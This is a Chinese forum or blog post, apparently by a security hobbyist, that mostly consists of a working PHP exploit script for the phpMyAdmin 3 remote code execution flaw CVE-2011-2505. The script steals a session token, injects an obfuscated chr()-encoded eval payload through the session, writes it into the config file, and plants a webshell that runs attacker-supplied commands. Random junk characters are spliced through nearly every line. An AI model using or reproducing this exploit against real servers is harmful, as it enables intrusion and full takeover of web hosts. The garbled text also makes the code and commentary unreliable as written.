最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
, F0 A: Y- r( T, H# S+ A) I+ S
2 i5 F$ t f: ~6 L! T昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
/ F9 L$ k% u6 l$ j" t
& ^! _) B( I) c: P- s" K首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:7 l3 P* k+ F% N, O H0 b
一是session.auto_start = 1;8 n! c9 y2 o; w* f5 E! D2 m
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
1 P1 m1 s, k9 z. `/ D: E5 }9 ^' t当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
. M- T2 l' M$ t$ X! _# L5 s$ z
+ ^- `5 G; \9 H- K& ^在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
3 G$ u6 L/ \& o& k% }8 `; j
8 h$ J2 _7 m5 T9 x8 x于是写了这个php版本的exp,代码如下:8 o' k% A% x; ?1 Y: e3 P& K6 R
- Y0 m/ h& H% r; E% }
#!/usr/bin/php) p' w' x8 A6 e
<?php( {% y$ f$ m9 W8 H
print_r('
D0 S6 C% j8 z+---------------------------------------------------------------------------+$ h- i! H) ~. l- I/ F# s! Y
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
2 s0 `& F' [4 ?by oldjun(www.oldjun.com)
- w9 j$ j* J+ U& O. zwelcome to www.t00ls.net! b3 r- P& S* r+ t5 u4 P" F
mail: oldjun@gmail.com* {7 M7 y' x3 f1 F# G
Assigned CVE id: CVE-2011-2505
O9 b. K" o' K+---------------------------------------------------------------------------+
; T" `& U8 i5 k( x. E');
9 x: ` w+ x1 D$ z( X# s" ]
, i2 ]. p. |- f9 R/**7 v% q) o4 B; P$ q
* working when the directory:"config" exists and is writeable., m" [; u$ Q. x5 U. D1 y
**/
7 D* i. `' j! }5 o/ h# B4 d: D
$ ]. [/ p1 z; X6 _5 ?6 Jif ($argc < 3) {: p& X! s# k$ r% o. {
print_r('
: a) B6 J9 O; {% r: a0 Q+---------------------------------------------------------------------------+
% M5 N0 g9 ]2 M" M! CUsage: php '.$argv[0].' host path
% U; M5 X: |4 F# t0 \( Q, @2 G, Lhost: target server (ip/hostname)$ p7 U% R3 b9 i6 q! A# S7 k8 a
path: path to pma37 X) X( P; P" W& m
Example:( E# h1 X) B5 H+ d1 s
php '.$argv[0].' localhost /pma/
/ R' G' V8 U/ K3 j+ ]# t+---------------------------------------------------------------------------+# A1 M6 G; m8 H' d, w/ [, D
');0 q L# q d8 C" ~& F* u' K
exit;7 n% T' @& b" p! x7 \, K3 E& x3 f5 c3 \
}7 p* ?0 Y6 O0 v# \5 t
5 q& c/ w3 ~7 }$ X3 K7 |$ P
$host = $argv[1];
9 W& @8 |" r( @1 X) @$path = $argv[2];9 x4 I! ^! x: {+ [0 h' E) Q8 i
/ g6 W. w! ]0 [/ _; r1 c i
/**9 C; ?! P* q% ?% T/ Z1 K4 t2 h/ M4 E
* Try to determine if the directory:"config" exists( p) K; G: k+ d M3 x
**/
3 }6 k3 x; ?3 secho "[+] Try to determine if the directory:config exists....\n";6 l+ L- P1 a1 s1 c. i
$returnstr=php_request('config/');
1 U4 Z! H' z) |* v `if(strpos($returnstr,'404')){9 ` P0 ]- ^4 G% _3 F
exit("[-] Exploit Failed! The directory:config do not exists!\n");
' Z! C. y; E! b# `' h1 _}. }; x' \$ E8 ?0 U I
! e9 h d1 z9 g/ @: m5 a
/**
" _- T) h4 J1 r$ m* u9 J7 [ j * Try to get token and sessionid
, g& I7 j6 r1 Y/ P/ W; R**/: A6 W" i5 T6 P' m! ]
echo "[+] Try to get token and sessionid....\n";, o5 C- s3 B! X/ p$ i- r+ [
$result=php_request('index.php');$ {2 t0 U& `9 `9 T/ ]% Z
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
6 @+ l. M& o3 Q# `+ s* K$token=$resp[3];( v3 ^- i8 j) r6 Q; V! r2 F% Y
$sessionid=$resp[1];
3 b( ^4 @! N; W+ s Kif($token && $sessionid){
+ Z/ z" J3 m! j. _4 ^( K9 f$ q9 O# Z) Y! g echo "[+] token token\n";5 _ a, Y1 T/ w' b
echo "[+] Session ID sessionid\n";
7 s% h$ s8 f4 }* I7 O% E+ o}else{
8 \0 M& S8 c1 `& L, W0 Z% { exit("[-] Can't get token and Session ID,Exploit Failed!\n");1 f9 W( m: c$ Y( @: U5 t2 W! j
}
+ [( T( s8 ^# l$ f2 `& d, N7 d1 w- Y6 g4 r5 x4 t
/**
" t9 ]/ I M% l; x, g7 B. R * Try to insert shell into session
" D; E. F: \4 f4 `**/1 W' ^8 Q( m- f Y
echo "[+] Try to insert shell into session....\n";
. R/ O6 N' w y; D. w4 zphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
. B- P. q% a- \3 w2 V3 h: u8 S3 F2 U( d0 H& R# I4 D6 z `
/**
$ P9 b( o/ C+ s$ i9 K8 E * Try to create webshell% {7 v$ Z' X u% Y3 b9 k3 |
**/
+ V; l5 u5 U4 G# K/ kecho "[+] Try to create webshell....\n";
* d8 y$ \+ \, r$ {: Xphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);+ v+ `9 j3 S. U6 J. \
/**
. h8 `2 D- g& k1 q L z * Try to check if the webshell was created successfully
+ C* b7 ~" V3 v, ]. I* n; B5 V**/
6 S3 K3 L# s9 M5 j' X4 o! techo "[+] Try to check if the webshell was created successfully....\n";# m, n3 X1 C, T8 s: |1 n
$content=php_request('config/config.inc.php');
: n! e4 t) y1 s9 Y yif(strpos($content,'t00ls')){
% `4 i( m0 ~" z3 l3 E; A: J echo "[+] Congratulations! Expoilt successfully....\n";4 m6 j6 k( ^' @
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
8 g9 G3 D4 w- A. p& L0 Z}else{$ v! K( `! A" z1 c1 ~3 {7 P
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");0 K8 w- b' [' x$ L3 N1 O1 G
}, Z+ W( a% w5 O/ S* k% P
+ k) A1 ^$ ^6 n$ t' P2 _( `1 I$ q' c; afunction php_request($url,$data='',$cookie=''){
i$ f6 y; x7 C( S4 H: \7 u global $host, $path;
: v4 \5 [$ V& X+ [
, M3 L5 T- [7 F$ J# X6 H$ ^ $method=$data?'POST':'GET';( Q: E5 T% r* F- h7 @4 F7 u; e6 _6 \
+ e+ V. o. q% `( X* D $packet = $method." ".$path.$url." HTTP/1.1\r\n";
' B6 A4 ~" H( f" F6 M% ?3 z $packet .= "Accept: */*\r\n";+ J' |' h8 E3 K8 f0 J: D; P4 p
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";$ u! V( @% ^- C
$packet .= "Host: $host\r\n";1 r1 y0 m" ^) L! A w& u7 I# x
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$ p; p7 i7 j5 g3 M i $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
: n/ c* K7 F3 P( S# h# F $packet .= $cookie?"Cookie: $cookie\r\n":"";& i/ G0 A( {( S2 B- n4 ^- n
$packet .= "Connection: Close\r\n\r\n";/ K0 ]$ M' b7 P
$packet .= $data?$data:"";
; p, t% C9 A! P' j! ]8 {4 u! r% `' n
+ @- U: ?. s `/ _9 A; ? $fp = fsockopen(gethostbyname($host), 80);
, g' `7 R6 B3 B1 _ if (!$fp) {+ s, c, B& O* T% P4 Z/ w7 i) {
echo 'No response from '.$host; die;
& @# S* U$ b$ F0 n: S }) Q; w/ d f6 A6 s3 f) k" K; a
fputs($fp, $packet);
5 ~% z4 j5 J6 H) k# A6 E. e7 r# U) V$ x* G
$resp = '';+ }) Q$ Z6 l' ]$ j5 h9 S( X
6 `, T: C$ q8 K( J! C6 z4 f. Y
while ($fp && !feof($fp))5 O+ a" T4 U3 p) H J/ Z6 J
$resp .= fread($fp, 1024);
1 c$ J$ w( C; N% A6 U8 K' Q
* p/ W# [9 V7 W return $resp;
5 k+ v( J1 L+ T2 d}8 l0 L4 \& S# m( V* v: A
/ S: X0 b/ a. \9 T?>
, K- w: T: b3 Q6 Z. |